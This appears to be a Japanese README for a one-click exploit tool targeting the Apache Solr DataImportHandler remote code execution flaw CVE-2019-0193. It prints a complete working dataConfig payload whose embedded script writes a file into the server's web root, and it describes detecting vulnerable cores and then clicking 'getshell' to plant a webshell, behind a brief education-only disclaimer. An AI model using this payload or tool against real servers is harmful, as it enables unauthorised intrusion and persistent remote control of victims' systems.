
ApacheSolrRCE(CVE-2019-0193)によるワンクリックシェル書き込み。原理は、コード実行によりJavaのファイルストリームを介してWebshellを書き込むことです。
情報セキュリティの教育・交流のみを目的としており、不正なテストや攻撃に使用しないでください。
ApacheSolrRCE(CVE-2019-0193)は、ワンクリックでシェルを書き込むツールです。原理はコード実行を利用したJavaファイルストリームによるものです。
注:作者は初心者です。バグやその他の要望がある場合は、ご自身でコードをダウンロードして修正してください。
インターネット上で広まっているペイロードはすべてコマンド実行であり、Webシェルをアップロードするのが不便なため、このペイロードを作成しました(応答に123456が表示された場合、書き込み成功を意味します)。
注:ツールはテストの補助にすぎません。ツールで書き込めない場合は、手動で行うことをお勧めします。
<dataConfig>
<dataSource name="streamsrc" type="ContentStreamDataSource" loggerLevel="TRACE" />
<script><![CDATA[
function poc(row){
var buf = new java.io.BufferedWriter(new java.io.FileWriter(java.net.URLDecoder.decode(java.lang.Thread.currentThread().getContextClassLoader().getResource("").getPath().toString().replaceAll("file:\/", "").split("WEB-INF")[0]+"1.txt")));buf.write(new java.lang.String(java.util.Base64.getDecoder().decode("MTIzNDU2")));buf.close();
row.put("title",123456);
return row;
}
]]></script>
<document>
<entity
stream="true"
name="entity1"
datasource="streamsrc1"
processor="XPathEntityProcessor"
rootEntity="true"
forEach="/RDF/item"
transformer="script:poc">
<field column="title" xpath="/RDF/item/title" />
</entity>
</document>
</dataConfig>
まず「検出」をクリックしてcoreを取得し、脆弱性の有無を判断します。
その後、「getshell」をクリックします。
注:Webシェルをshellディレクトリに置くと、ツールが自動的にWebシェルをロードしてドロップダウンリストに追加します。
デフォルトのプロキシはHTTPプロキシで、ポートは8080です。コード内にハードコードされているため、必要に応じて自分でコンパイルして変更してください。